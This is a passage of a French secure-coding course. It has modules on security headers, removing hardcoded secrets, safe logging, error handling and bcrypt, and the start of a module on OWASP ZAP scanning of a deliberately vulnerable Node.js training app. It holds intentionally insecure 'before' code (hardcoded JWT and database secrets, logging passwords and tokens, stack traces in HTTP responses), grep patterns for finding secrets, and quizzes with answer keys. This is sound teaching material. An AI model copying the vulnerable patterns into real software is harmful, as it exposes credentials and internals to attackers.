✓ **Point de vérification :** `curl -I https://localhost:3443` affiche :

```
Strict-Transport-Security: max-age=31536000
Content-Security-Policy: default-src 'self' ...
X-Frame-Options: DENY
```

Capture attendue, Récapitulatif headers

Après toutes les étapes :

```
curl -I https://localhost:3443
```

Résultat attendu :

```
HTTP/2 200
content-security-policy: default-src 'self'; script-src 'self'; ...
strict-transport-security: max-age=31536000; includeSubDomains; preload
x-frame-options: DENY
x-content-type-options: nosniff
x-permitted-cross-domain-policies: none
referrer-policy: no-referrer
```

Mini-quiz M5 (6 QCM)

Q1. Que fait le flag `HttpOnly` sur un cookie ? - A. Il force le cookie à n'être envoyé qu'en HTTPS - B. Il interdit à JavaScript de lire le cookie - C. Il empêche le cookie d'être envoyé cross-site - D. Il fixe la durée de vie du cookie

Q2. Quelle valeur de `SameSite` offre la protection CSRF maximale ? - A. None - B. Lax - C. Strict - D. Default

Q3. HSTS protège contre : - A. Les injections SQL - B. Le SSL stripping et les connexions HTTP non chiffrées - C. Le vol de cookies via XSS - D. Les attaques DDoS

Q4. Que bloque `X-Frame-Options: DENY` ? - A. Les requêtes cross-origin - B. L'affichage de la page dans un iframe quel que soit le contexte - C. Les scripts non-inline - D. Les connexions HTTP

Q5. Dans le pattern synchronizer CSRF, où est stocké le token côté serveur ? - A. Dans la base de données - B. Dans un cookie séparé - C. Dans la session utilisateur - D. Dans l'URL

Q6. `default-src 'self'` dans une CSP signifie : - A. Seuls les scripts signés sont acceptés - B. Toutes les ressources doivent provenir de la même origine - C. Les scripts inline sont autorisés - D. Les images externes sont bloquées uniquement

Corrigé

Q	RÉPONSE	POURQUOI
Q1	B	<code>HttpOnly</code> bloque l'accès via <code>document.cookie</code>
Q2	C	<code>Strict</code> n'envoie jamais le cookie en contexte cross-site
Q3	B	HSTS force HTTPS dès la prochaine visite, bloquant le downgrade
Q4	B	DENY interdit tous les iframes, même same-origin
Q5	C	Le token est lié à la session serveur, impossible à lire cross-site
Q6	B	<code>'self'</code> = même schéma, même hôte, même port

Livrable du module

- ☐ `npm install helmet csrf` effectué
- ☐ Helmet configuré avec CSP, HSTS, X-Frame-Options dans `app.js`
- ☐ Middleware CSRF ajouté, token présent dans tous les formulaires HTML
- ☐ Cookies session avec `httpOnly: true`, `secure: true`, `sameSite: 'strict'`
- ☐ mkcert installé, certificat local généré, serveur HTTPS sur port 3443
- ☐ `curl -I https://localhost:3443` montre tous les headers de sécurité
- ☐ Captures dans `proofs/M5/`
- ☐ Tag Git : `git tag M5-headers-csrf && git push --tags`
- ☐ Section M5 rédigée dans le rapport

Erreurs fréquentes à éviter

- Activer `secure: true` sur les cookies sans activer HTTPS → les cookies ne sont jamais envoyés.
- Oublier d'injecter `res.locals.csrfToken` dans un middleware global → certaines vues n'ont pas accès au token.
- Utiliser `SameSite: None` sans `Secure` → rejeté par les navigateurs modernes.
- Configurer CSP trop stricte qui casse les styles → tester d'abord en mode `Content-Security-Policy-Report-Only`.
- Committer les fichiers `.pem` de mkcert dans le dépôt → les ajouter à `.gitignore`.

Ressources

- OWASP Top 10, A05:2021 Security Misconfiguration :
https://owasp.org/Top10/A05_2021-Security_Misconfiguration/
- OWASP CSRF Prevention Cheat Sheet :
https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html
- Helmet.js documentation : <https://helmetjs.github.io/>
- mkcert : <https://github.com/FiloSottile/mkcert>
- MDN, Content Security Policy : <https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP>

MODULE 6

Sortir les secrets du code



Module 6. Sortir les secrets du code

Ce module élimine les secrets codés en dur, sécurise les logs pour ne jamais exposer de données sensibles, et remplace les réponses d'erreur qui fuient des informations techniques.

Objectifs opérationnels

À la fin de ce module, tu auras dans ton application : - ☒ Tous les secrets migrés vers `.env` avec `dotenv` - ☒ `.env` ignoré par Git, `.env.example` versionné - ☒ `JWT_SECRET` régénéré avec `openssl` - ☒ Winston installé, `console.log` remplacés, niveau INFO en prod - ☒ Middleware d'erreur propre, aucun `stack` dans les réponses HTTP - ☒ Section M6 rédigée dans le rapport

Carte du module

ÉTAPE	CONCEPT	ACTION TP	TEMPS
Rappels	Concepts 1-9	Lecture active	15 min
1	Audit secrets	<code>grep</code> + <code>git secrets</code>	10 min
2	Migration <code>.env</code>	<code>dotenv</code> + <code>.gitignore</code>	10 min
3	Vérification historique Git	<code>git log -S</code>	5 min
4	Logger Winston	Remplacer <code>console.log</code>	10 min
5	Error handler	Middleware propre	5 min
6	Test validation	<code>curl</code> + logs	5 min

CONCEPT 1, Pourquoi sortir les secrets du code

Rappel. Git conserve l'intégralité de l'historique de façon immuable. Un secret commité, même supprimé dans un commit suivant, reste lisible dans `git log` ou via GitHub. Les scanners automatiques (truffleHog, Gitleaks, GitGuardian) parcourent en continu les dépôts publics et privés. Les fuites de secrets en production représentent l'un des vecteurs d'intrusion les plus courants. La règle absolue : un secret ne doit jamais apparaître dans un fichier versionné. Il vit uniquement dans des variables d'environnement ou un gestionnaire de secrets (Vault, AWS Secrets Manager).

Risque concret	<code>const JWT_SECRET = "secret123"</code> dans <code>auth.js</code> → tout développeur avec accès au dépôt peut forger n'importe quel token JWT. Si le dépôt est public : exposition immédiate à tous.
Exemple de faille	Voir bloc ci-dessous
À vérifier dans l'app	<pre>grep -rn "secret\ password\ api_key\ token" vuln-app/ --include="*.js"</pre>
Correction	Migrer vers <code>process.env.JWT_SECRET</code> chargé depuis <code>.env</code>
Test de validation	<pre>grep -rn "secret123\ password123" vuln-app/</pre> ne doit retourner aucun résultat
Trace rapport	« L'audit du code source a révélé 3 secrets codés en dur (JWT_SECRET, DB_PASSWORD, SESSION_SECRET). Tous ont été migrés vers des variables d'environnement via dotenv. »

Code vulnérable :

```
// vuln-app/auth.js, AVANT
const JWT_SECRET = "secret123";
const DB_PASSWORD = "admin";
const SESSION_SECRET = "mysecret";

const token = jwt.sign({ userId: user.id }, JWT_SECRET, { expiresIn: '1h' });
```

Code corrigé :

```
// vuln-app/auth.js, APRÈS
require('dotenv').config();
const JWT_SECRET = process.env.JWT_SECRET;

if (!JWT_SECRET) {
  throw new Error('JWT_SECRET manquant dans les variables d\'environnement');
}

const token = jwt.sign({ userId: user.id }, JWT_SECRET, { expiresIn: '1h' });
```

TP, Étape 1 : Audit des secrets dans le code

```
cd vuln-app

# Audit rapide dans le code source
grep -rn "secret\\|password\\|api_key\\|token\\|apikey" . \
  --include="*.js" \
  --exclude-dir=node_modules

# Si git-secrets est installé
git secrets --scan

# Audit avec truffleHog (si disponible)
# pip install truffleHog
# trufflehog git file://. --only-verified
```

✓ **Point de vérification** : noter tous les fichiers et lignes retournés, ce sont les éléments à migrer.

CONCEPT 2, dotenv / Variables d'environnement

Rappel. `dotenv` charge un fichier `.env` dans `process.env` au démarrage de l'application. Le fichier `.env` n'est jamais commité (ajouté à `.gitignore`). Chaque développeur crée son propre `.env` à partir du fichier `.env.example`. En production, les variables sont injectées directement par le système (Docker, Kubernetes, Heroku, PM2 ecosystem). `dotenv` doit être chargé au tout début de l'application, avant tout autre `require`.

Risque concret

Sans `dotenv`, les secrets se retrouvent dans le code ou dans des variables shell volatiles perdues à chaque redémarrage.

Exemple de faille

```
require('dotenv') absent,
process.env.JWT_SECRET vaut undefined
→ JWT signé avec undefined est trivial à forger
```

À vérifier dans l'app

Premier `require` dans `vuln-app/app.js`, `dotenv` absent

Correction

```
require('dotenv').config() en ligne 1 de app.js
```

Test de validation

```
node -e "require('dotenv').config();
console.log(process.env.JWT_SECRET ?
'OK' : 'MANQUANT')"
```

Trace rapport

« `dotenv` a été intégré. Les variables d'environnement sont chargées depuis `.env` au démarrage. Le fichier `.env` est exclu du versionnement. »

Installation et configuration :

```
npm install dotenv
```

Structure du `.env` :

```
# vuln-app/.env , NE JAMAIS COMMITER CE FICHIER
NODE_ENV=development
PORT=3443

SESSION_SECRET=<générer avec openssl rand -base64 32>
JWT_SECRET=<générer avec openssl rand -base64 64>

DB_PATH=./taskflow.sqlite
LOG_LEVEL=debug
```

Premier require dans `app.js` :

```
// vuln-app/app.js, ligne 1
require('dotenv').config();

const express = require('express');
// ... reste des imports
```

CONCEPT 3, `.env.example` VS `.env`

Rappel. `.env.example` (ou `.env.template`) est la version publique du fichier de configuration : il liste les clés nécessaires avec des valeurs fictives ou vides. Il est commité dans le dépôt et documente les variables requises pour faire tourner l'application. `.env` contient les vraies valeurs et ne doit jamais être commité. Le `.gitignore` doit explicitement exclure `.env`, `.env.local`, `.env.production`.

Risque concret	Un développeur crée <code>.env</code> avec de vraies clés et fait <code>git add .</code> sans vérifier → secret exposé à toute l'équipe, potentiellement sur GitHub public.
Exemple de faille	<code>.gitignore</code> ne contient pas <code>.env</code> → <code>git status</code> montre <code>.env</code> comme fichier non traqué prêt à être commité
À vérifier dans l'app	<code>cat vuln-app/.gitignore grep env</code> → absent
Correction	Ajouter <code>.env</code> au <code>.gitignore</code> + créer <code>.env.example</code>
Test de validation	<code>git status</code> ne doit pas afficher <code>.env</code> dans les fichiers non traqués
Trace rapport	« Le fichier <code>.env.example</code> a été créé et commité. Le <code>.gitignore</code> exclut <code>.env</code> et ses variantes. Aucun secret n'apparaît dans le dépôt. »

Mise à jour du `.gitignore` :

```
# Ajouter à vuln-app/.gitignore
.env
.env.local
.env.production
.env.*.local
*.pem          # certificats mkcert (M5)
```

Contenu du `.env.example` :

```
# vuln-app/.env.example, CE FICHIER EST COMMITÉ
NODE_ENV=development
PORT=3443
SESSION_SECRET=REPLACER_PAR_openssl_rand_base64_32
JWT_SECRET=REPLACER_PAR_openssl_rand_base64_64
DB_PATH=./taskflow.sqlite
LOG_LEVEL=info
```

TP, Étape 2 : Migration vers .env

```
cd vuln-app
npm install dotenv

# Créer .env avec de vraies valeurs
cp .env.example .env

# Générer des secrets sûrs (voir Concept 4)
openssl rand -base64 32 # pour SESSION_SECRET
openssl rand -base64 64 # pour JWT_SECRET

# Editer .env avec les valeurs générées
# Vérifier que .gitignore exclut .env
git status # .env ne doit PAS apparaître
```

CONCEPT 4, Rotation des secrets

Rappel. Un secret doit être changé régulièrement et immédiatement si une compromission est suspectée. `openssl rand` génère de l'entropie cryptographique solide (contrairement à des chaînes mémorisables). En Node.js, `crypto.randomBytes(64).toString('hex')` produit le même résultat. Changer le `JWT_SECRET` invalide tous les tokens existants, il faut prévoir une période de transition ou une déconnexion forcée des utilisateurs.

Risque concret

`JWT_SECRET = "secret123"` peut être deviné en quelques secondes par brute-force. Un attaquant qui connaît le secret peut forger des tokens admin.

Exemple de faille

Secret trop court, trop prévisible, identique en dev et en prod

À vérifier dans l'app

Valeur actuelle de `JWT_SECRET` dans le code

Correction

`openssl rand -base64 64` → copier dans `.env`

Test de validation

Tenter de décoder un token existant sur `jwt.io` avec `"secret123"` → doit échouer après rotation

Trace rapport

« Le `JWT_SECRET` a été régénéré avec `openssl rand -base64 64` (512 bits d'entropie). L'ancien secret était une chaîne de 9 caractères trivialement bruteforceable. »

```
# Générer des secrets sécurisés
echo "SESSION_SECRET=$(openssl rand -base64 32)"
echo "JWT_SECRET=$(openssl rand -base64 64)"

# Alternative Node.js
node -e "const c=require('crypto');
console.log(c.randomBytes(64).toString('hex'))"
```

CONCEPT 5, Logs : ce qu'il ne faut JAMAIS y mettre

Rappel. Les logs sont souvent stockés en clair, transmis vers des agrégateurs externes (Datadog, Splunk, ELK), et accessibles à plusieurs équipes. Ils ne doivent jamais contenir : mots de passe (même hashés), tokens JWT ou sessions, numéros de carte, données de santé, adresses IP complètes en production (RGPD), contenus de champs `password`. La règle : loguer l'événement et l'identifiant, jamais la valeur sensible.

Risque concret	<code>console.log("login:", email, password)</code> → le mot de passe en clair apparaît dans les logs du serveur, accessibles à toute l'équipe ops.
Exemple de faille	Voir bloc ci-dessous
À vérifier dans l'app	<code>grep -rn "console.log.*password\ console.log.*token\ console.log.*secret" vuln-app/</code>
Correction	Logger uniquement l'événement : <code>logger.info('login attempt', { email, success: true })</code>
Test de validation	Déclencher un login → vérifier dans les logs qu'aucun mot de passe n'apparaît
Trace rapport	« 4 occurrences de logs exposant des données sensibles (mots de passe, tokens) ont été identifiées et corrigées. Les logs ne contiennent plus que des identifiants et des codes d'événements. »

Code vulnérable :

```
// vuln-app/routes/auth.js, AVANT
app.post('/login', (req, res) => {
  const { email, password } = req.body;
  console.log('login attempt:', email, password); // ⚠ mot de passe en clair
  console.log('JWT token generated:', token); // ⚠ token en clair
  console.log('Session:', JSON.stringify(req.session)); // ⚠ session complète
});
```

Code corrigé :

```
// vuln-app/routes/auth.js, APRÈS
app.post('/login', (req, res) => {
  const { email } = req.body;
  // NE PAS logger req.body.password
  logger.info('login_attempt', { email, ip: req.ip });
  // ...
  logger.info('login_success', { userId: user.id, email });
});
```

CONCEPT 6, Logger structuré (Winston)

Rappel. Un logger structuré écrit des lignes JSON avec des champs cohérents (timestamp, level, message, context) plutôt que des chaînes arbitraires. Cela rend les logs filtrables, indexables, et traçables dans des outils comme ELK ou Datadog. Winston est le logger le plus répandu dans l'écosystème Node.js. Pino est une alternative plus rapide. Les deux produisent des logs JSON par défaut.

Risque concret	<code>console.log</code> ne différencie pas les niveaux, ne peut pas être configuré pour écrire dans un fichier, et n'est pas filtrable en production.
Exemple de faille	Toute l'application utilise <code>console.log</code> , pas de niveau, pas de timestamp standard, impossible à désactiver
À vérifier dans l'app	<pre>grep -rn "console\." vuln-app/ -- include="*.js" \ grep -v node_modules</pre>
Correction	Voir configuration Winston ci-dessous
Test de validation	<code>node app.js</code> → logs au format JSON avec timestamp et level
Trace rapport	« <code>console.log</code> a été remplacé par Winston sur toute l'application. Les logs sont désormais structurés (JSON), horodatés, et configurables par niveau. »

Installation et configuration Winston :

```
npm install winston
```

```
// vuln-app/logger.js, NOUVEAU FICHIER
const winston = require('winston');

const logger = winston.createLogger({
  level: process.env.LOG_LEVEL || 'info',
  format: winston.format.combine(
    winston.format.timestamp(),
    winston.format.errors({ stack: false }), // stack uniquement en debug
    winston.format.json()
  ),
  transports: [
    new winston.transports.Console(),
    new winston.transports.File({
      filename: 'logs/error.log',
      level: 'error',
    }),
    new winston.transports.File({
      filename: 'logs/app.log',
    }),
  ],
});

module.exports = logger;
```

```
// Dans chaque fichier de route, remplacer console.log
const logger = require('../logger');

// AVANT : console.log('user created', user)
// APRÈS :
logger.info('user_created', { userId: user.id, email: user.email });
logger.warn('login_failed', { email, reason: 'invalid_password', ip: req.ip });
logger.error('db_error', { operation: 'INSERT', table: 'tasks' });
// ⚠️ Jamais : logger.info('login', { password: req.body.password })
```

CONCEPT 7, Niveaux de logs

Rappel. Les niveaux de log permettent de filtrer le bruit selon l'environnement. En développement, on active `DEBUG` pour voir tous les détails. En production, on passe à `INFO` ou `WARN` pour ne conserver que les événements significatifs. Winston utilise par défaut : `error` (0) > `warn` (1) > `info` (2) > `http` (3) > `verbose` (4) > `debug` (5) > `silly` (6). Un niveau configuré à `info` n'écrira pas les messages `debug`.

Risque concret	<code>LOG_LEVEL=debug</code> en production → les logs exposent des détails internes (requêtes SQL, contenu des objets) qui facilitent la reconnaissance par un attaquant ayant accès aux logs.
Exemple de faille	<code>LOG_LEVEL</code> non défini → Winston utilise <code>silly</code> par défaut → tout est logué
À vérifier dans l'app	Variable <code>LOG_LEVEL</code> absente de <code>.env</code>
Correction	<code>LOG_LEVEL=info</code> dans <code>.env.production</code> , <code>LOG_LEVEL=debug</code> dans <code>.env.development</code>
Test de validation	Avec <code>LOG_LEVEL=info</code> , les <code>logger.debug(...)</code> n'apparaissent pas dans la sortie
Trace rapport	« Le niveau de log est contrôlé par la variable <code>LOG_LEVEL</code> . En production, seuls les niveaux <code>info</code> et supérieurs sont enregistrés. »

```
// Configuration dans logger.js, déjà gérée par :  
level: process.env.LOG_LEVEL || 'info',  
// 'info' est la valeur par défaut sécurisée
```

CONCEPT 8, Erreurs côté API : ne pas exposer le stack

Rappel. En développement, afficher le `stack trace` dans la réponse HTTP est pratique pour déboguer. En production, c'est une fuite critique : le stack révèle les noms de fichiers internes, les versions de bibliothèques, et la structure de l'application, autant d'informations utiles pour un attaquant. La règle : l'utilisateur reçoit un message générique, le stack est écrit dans les logs internes. Un middleware d'erreur centralisé dans Express gère cette séparation.

Risque concret	<pre>res.status(500).json({ stack: err.stack })</pre> → l'attaquant voit le chemin complet <pre>/home/ubuntu/app/node_modules/sequelize/ ...</pre> et identifie les versions vulnérables
Exemple de faille	Voir bloc ci-dessous
À vérifier dans l'app	<pre>grep -rn "err.stack\ error.stack" vuln-app/</pre>
Correction	Middleware d'erreur centralisé, stack logué, jamais envoyé au client
Test de validation	<pre>curl -X POST https://localhost:3443/error-test</pre> → réponse JSON sans <code>stack</code>
Trace rapport	« Le middleware d'erreur a été refactorisé. Les stack traces ne sont plus incluses dans les réponses HTTP. Les erreurs sont loguées avec Winston pour analyse interne. »

Code vulnérable :

```
// vuln-app/app.js, AVANT
app.use((err, req, res, next) => {
  console.error(err);
  res.status(500).json({
    error: err.message,
    stack: err.stack,      // ⚠ fuite totale de l'arborescence
    query: err.sql,        // ⚠ fuite de la requête SQL
  });
});
```

Code corrigé :

```
// vuln-app/app.js, APRÈS
const logger = require('./logger');

app.use((err, req, res, next) => {
  // Log complet en interne (jamais envoyé au client)
  logger.error('unhandled_error', {
    message: err.message,
    stack: err.stack,
    url: req.url,
    method: req.method,
    userId: req.session?.userId,
  });

  // Réponse générique au client
  const statusCode = err.statusCode || 500;
  const isProd = process.env.NODE_ENV === 'production';

  res.status(statusCode).json({
    error: isProd ? 'Une erreur interne s\'est produite.' : err.message,
    // stack JAMAIS inclus
  });
});
```

CONCEPT 9, Atelier : Sécurisation du stockage des identifiants (bcrypt + dotenv)

Rappel. Les mots de passe ne doivent jamais être stockés en clair ni simplement hashés (MD5, SHA1). `bcrypt` est un algorithme de hachage adaptatif qui intègre un sel aléatoire et un facteur de coût. Plus le facteur est élevé, plus le calcul est lent, ce qui résiste au brute-force. La valeur recommandée pour 2024 est entre 12 et 14. Combiné à `dotenv` pour les secrets de l'application, `bcrypt` assure que même une fuite de la base de données ne compromet pas les mots de passe des utilisateurs.

Risque concret	Mots de passe stockés en clair ou avec MD5 → dump de la BDD = liste de tous les mots de passe exploitables immédiatement
Exemple de faille	<pre>db.run("INSERT INTO users VALUES (?, ?)", [email, password])</pre> , mot de passe en clair
À vérifier dans l'app	<pre>grep -n "password" vuln- app/routes/auth.js</pre> , chercher INSERT sans bcrypt
Correction	Voir bloc ci-dessous
Test de validation	<pre>sqlite3 vuln-app/taskflow.sqlite "SELECT password FROM users LIMIT 1"</pre> → doit retourner <code>\$2b\$12\$...</code>
Trace rapport	« Les mots de passe sont désormais hashés avec bcrypt (facteur 12) avant stockage. Aucun mot de passe en clair ne figure dans la base de données. »

Code sécurisé :

```
// vuln-app/routes/auth.js, APRÈS
const bcrypt = require('bcrypt');
require('dotenv').config();

const BCRYPT_ROUNDS = parseInt(process.env.BCRYPT_ROUNDS) || 12;

// Inscription
app.post('/register', async (req, res) => {
  const { email, password } = req.body;
  const hashedPassword = await bcrypt.hash(password, BCRYPT_ROUNDS);
  db.run(
    'INSERT INTO users (email, password) VALUES (?, ?)',
    [email, hashedPassword],
    (err) => {
      if (err) return res.status(400).json({ error: 'Email déjà utilisé' });
      logger.info('user_registered', { email });
      res.status(201).json({ message: 'Compte créé' });
    }
  );
});

// Connexion
app.post('/login', async (req, res) => {
  const { email, password } = req.body;
  logger.info('login_attempt', { email, ip: req.ip }); // pas de password
  dans le log
  db.get('SELECT * FROM users WHERE email = ?', [email], async (err, user) => {
    if (!user || !(await bcrypt.compare(password, user.password))) {
      logger.warn('login_failed', { email, ip: req.ip });
      return res.status(401).json({ error: 'Identifiants invalides' });
    }
    req.session.userId = user.id;
    logger.info('login_success', { userId: user.id, email });
    res.json({ message: 'Connecté' });
  });
});
```

TP Complet M6 (45 min)

Étape 1, Audit secrets dans le code (10 min)

```
cd vuln-app

# Audit du code source
grep -rn "secret\\|password\\|api_key\\|token\\|apikey" . \
  --include="*.js" \
  --exclude-dir=node_modules \
  --color=always

# Lister les résultats dans un fichier pour le rapport
grep -rn "secret\\|password" . \
  --include="*.js" \
  --exclude-dir=node_modules \
  > ../proofs/M6/audit-secrets.txt
```

✓ **Point de vérification** : au moins 3 secrets identifiés dans le code source.

Étape 2, Migrer les secrets vers .env (10 min)

```
npm install dotenv bcrypt winston

# Créer le .env à partir de l'exemple
cp .env.example .env

# Générer des secrets sécurisés
echo "SESSION_SECRET=$(openssl rand -base64 32)"
echo "JWT_SECRET=$(openssl rand -base64 64)"

# Copier les valeurs dans .env
# Ajouter .env au .gitignore
echo ".env" >> .gitignore
echo ".env.*.local" >> .gitignore

git status # .env ne doit pas apparaître
```

Étape 3, Vérifier l'historique Git (5 min)

```
# Rechercher si un secret a déjà été commité
git log -S "secret123" --all --oneline
git log -S "password123" --all --oneline
git log --all --full-history -- "**/.env"

# Si un secret a été commité : documenter dans le rapport
# (remediation = rotation immédiate du secret + BFG Repo Cleaner si dépôt public)
```

⚠ **Si git log -S retourne des résultats** : noter dans le rapport que le secret a été exposé dans l'historique et qu'une rotation a été effectuée.

Étape 4, Installer Winston et remplacer console.log (10 min)

```
# Créer le fichier logger
# (copier le contenu du Concept 6)

# Audit des console.log à remplacer
grep -rn "console\." . \
  --include="*.js" \
  --exclude-dir=node_modules

# Remplacer dans les fichiers routes/auth.js, routes/tasks.js, app.js
# Utiliser le pattern : const logger = require('../logger');
```

Étape 5, Refactor du middleware d'erreur (5 min)

Remplacer le middleware d'erreur existant dans `app.js` par le code corrigé du Concept 8.

Étape 6, Test de validation (5 min)

```
# Provoquer une erreur intentionnelle
curl -k -X GET https://localhost:3443/route-inexistante
# Réponse attendue : {"error":"Une erreur interne s'est produite."}
# Pas de stack dans la réponse

# Vérifier les logs
tail -f logs/app.log
# Le stack doit apparaître dans les logs, pas dans la réponse HTTP

# Vérifier la base de données
sqlite3 taskflow.sqlite "SELECT email, password FROM users LIMIT 3;"
# Les mots de passe doivent commencer par $2b$12$
```

✓ **Points de vérification finaux :** - `grep -rn "secret123\|password123" . --include="*.js"` → aucun résultat - `cat logs/app.log` → logs JSON avec timestamp et level
- Réponse d'erreur HTTP → message générique, pas de stack - BDD → mots de passe hashés bcrypt

Mini-quiz M6 (6 QCM)

Q1. Pourquoi supprimer un secret d'un commit ne suffit pas ? - A. Car Git compresse les fichiers - B. Car l'historique Git est immuable, le secret reste visible dans les commits précédents - C. Car GitHub réindexe automatiquement - D. Car les branches gardent une copie

Q2. Quel est le facteur de coût bcrypt recommandé en 2024 ? - A. 4-6 (performance maximale) - B. 8-10 (équilibre) - C. 12-14 (sécurité recommandée) - D. 20+ (sécurité maximale)

Q3. Que doit contenir `.env.example` ? - A. Les vraies valeurs de production - B. Les clés avec des valeurs fictives ou vides, jamais les vrais secrets - C. Uniquement les clés sans valeur - D. Une copie chiffrée des secrets

Q4. Quel niveau de log est recommandé en production ? - A. debug (tout voir) - B. silly (maximum de détails) - C. info (événements significatifs uniquement) - D. error (seulement les erreurs critiques)

Q5. Que doit retourner un endpoint en erreur 500 en production ? - A. Le message d'erreur complet avec stack - B. Le nom du fichier et la ligne d'erreur - C. Un message générique, le détail va dans les logs internes - D. Le contenu de la requête SQL ayant échoué

Q6. `console.log('login:', email, password)` est problématique car : - A. `console.log` est trop lent en production - B. Le mot de passe apparaît en clair dans les logs, accessibles à l'équipe ops - C. Le format n'est pas JSON - D. Email et password ne peuvent pas être concaténés

Corrigé

Q	RÉPONSE	POURQUOI
Q1	B	<code>git log -S</code> retrouve n'importe quelle chaîne dans l'historique
Q2	C	12-14 : assez lent pour résister au GPU brute-force, assez rapide pour l'UX
Q3	B	<code>.env.example</code> est un modèle sans secrets réels, il documente sans exposer
Q4	C	<code>info</code> capture les événements métier sans les détails de debug
Q5	C	Séparer ce que l'utilisateur voit de ce que les ops voient
Q6	B	Les logs sont des fichiers, potentiellement exfiltrables, jamais de PII/secrets

Livrable du module

- ☐ `npm install dotenv bcrypt winston` effectué
- ☐ `.env` créé avec secrets générés via `openssl rand`
- ☐ `.env` ajouté au `.gitignore`, `.env.example` commité
- ☐ `grep -rn "secret123" vuln-app/` → aucun résultat
- ☐ `logger.js` créé, `console.log` remplacés dans toutes les routes
- ☐ Middleware d'erreur centralisé, pas de stack dans les réponses
- ☐ BDD : mots de passe préfixés `$2b$12$`
- ☐ Captures dans `proofs/M6/`
- ☐ Tag Git : `git tag M6-secrets-logs && git push --tags`
- ☐ Section M6 rédigée dans le rapport

Erreurs fréquentes à éviter

- Charger `dotenv` après d'autres modules qui utilisent `process.env` → les variables ne sont pas encore définies. Toujours mettre `require('dotenv').config()` en ligne 1.
- Commiter `.env` par erreur avec `git add .` → utiliser `git add -p` pour une revue sélective.
- Logger `req.body` entier → peut contenir les mots de passe. Lister explicitement les champs à logger.
- Utiliser `LOG_LEVEL=debug` en production → exposition des détails internes.
- Oublier de créer le dossier `logs/` → Winston échoue silencieusement sur certaines configurations.

Ressources

- OWASP Top 10, A02:2021 Cryptographic Failures : https://owasp.org/Top10/A02_2021-Cryptographic_Failures/
- OWASP Top 10, A09:2021 Security Logging and Monitoring Failures : https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/
- OWASP Logging Cheat Sheet : https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html
- Winston documentation : <https://github.com/winstonjs/winston>
- dotenv documentation : <https://github.com/motdotla/dotenv>
- bcrypt npm : <https://www.npmjs.com/package/bcrypt>
- truffleHog (scan secrets Git) : <https://github.com/trufflesecurity/trufflehog>

MODULE 7

Auditer, prouver, rendre



Module 7. Auditer, prouver, rendre

Module de clôture : scan dynamique automatisé de TaskFlow, audit des dépendances, écriture de tests de sécurité Jest, et rédaction du rapport de sécurisation professionnel.

Objectifs opérationnels

À la fin de ce module, tu auras dans ton application : - ☒ Scan OWASP ZAP baseline exécuté et résultats analysés - ☒ `npm audit` passé avec zéro vulnérabilité critique - ☒ 5 tests Jest de sécurité écrits et passants - ☒ Rapport final `docs/rapport-final.md` (ou PDF) rédigé - ☒ Checklist OWASP Top 10 complétée - ☒ Code taggé `M7-audit-final`

Carte du module

ÉTAPE	CONCEPT	ACTION TP	TEMPS
Rappels	Concepts 1-10	Lecture active	30 min
1	OWASP ZAP	Scan baseline	20 min
2	npm audit	Remédiation dépendances	15 min
3	Tests Jest	5 tests de sécurité	25 min
4	Rapport	Template complet	20 min
5	Checklist OWASP	Cocher les items	5 min
6	Risques résiduels	Documenter ce qui n'est pas (encore) traité	5 min

CONCEPT 1, DAST (Dynamic Application Security Testing)

Rappel. Le DAST teste l'application en cours d'exécution, depuis l'extérieur, comme le ferait un attaquant. Contrairement au SAST (analyse statique du code), le DAST découvre les vulnérabilités qui n'apparaissent qu'au runtime : injections, mauvaise configuration des headers HTTP, endpoints non protégés, redirections ouvertes. Il ne nécessite pas d'accès au code source. Les outils DAST envoient des milliers de payloads automatiquement et analysent les réponses pour détecter des comportements anormaux. OWASP ZAP est l'outil DAST open source de référence.

Risque concret	Des vulnérabilités invisibles à la lecture du code (ex. : header manquant, endpoint non listé dans la doc) restent non détectées sans scan dynamique.
Exemple de faille	Route <code>/admin/debug</code> non documentée, accessible sans authentification, le SAST ne la trouve pas, le DAST si.
À vérifier dans l'app	Lancer l'application sur HTTPS port 3443 avant le scan
Correction	Corriger les findings ZAP et relancer le scan
Test de validation	Scan ZAP baseline : 0 alerte HIGH ou CRITICAL après corrections
Trace rapport	« Un scan DAST baseline a été exécuté avec OWASP ZAP. X alertes ont été identifiées (Y HIGH, Z MEDIUM). Toutes les alertes HIGH ont été corrigées. »

CONCEPT 2, OWASP ZAP, Scan Automatique

Rappel. ZAP (Zed Attack Proxy) est un proxy HTTP qui intercepte le trafic entre le navigateur et l'application, et lance des attaques automatisées. Le mode “Baseline Scan” lance une araignée passive et des tests actifs limités, adapté à une CI/CD. Le mode “Full Scan” est plus agressif. ZAP classe les alertes par sévérité : High, Medium, Low, Informational. Les faux positifs sont fréquents, chaque alerte doit être vérifiée manuellement avant d'être incluse dans le rapport. ZAP est disponible en version Desktop (GUI) et en ligne de commande via Docker.

Risque concret	Sans scan automatisé, des classes entières de vulnérabilités (headers manquants, XSS reflété, CSRF) peuvent passer inaperçues lors d'une revue manuelle.
Exemple de faille	Header <code>X-Content-Type-Options</code> absent, ZAP le détecte automatiquement, une revue de code ne le voit pas.
À vérifier dans l'app	Application démarrée sur <code>https://localhost:3443</code> avant le scan
Correction	Appliquer les corrections Helmet (M5) avant le scan pour réduire le bruit
Test de validation	Rapport HTML ZAP généré dans <code>proofs/M7/zap-report.html</code>
Trace rapport	« Scan ZAP baseline effectué le [DATE]. Rapport complet dans <code>proofs/M7/zap-report.html</code> . Résumé : X High, Y Medium, Z Low, W Informational. »

Installation et scan via Docker :

```
# Démarrer l'application
cd vuln-app && node app.js &

# Scan ZAP baseline via Docker (recommandé, pas d'installation locale)
docker pull ghcr.io/zaproxy/zaproxy:stable

docker run --rm \
  --network host \
  -v $(pwd)/proofs/M7:/zap/wrk:rw \
  ghcr.io/zaproxy/zaproxy:stable \
  zap-baseline.py \
  -t https://localhost:3443 \
  -r zap-report.html \
  -I \
  --hook=/zap/auth_hook.py 2>/dev/null || true

# Le rapport sera dans proofs/M7/zap-report.html
```

Alternative, ZAP Desktop (Windows/Mac) :

1. Télécharger sur <https://www.zaproxy.org/download/>
2. Démarrer ZAP
3. Quick Start → Automated Scan
4. URL : `https://localhost:3443`
5. Accepter le certificat ZAP dans le navigateur
6. Launch Browser → Explorer l'application manuellement
7. Active Scan → Démarrer
8. Report → Generate HTML Report → sauver dans `proofs/M7/`

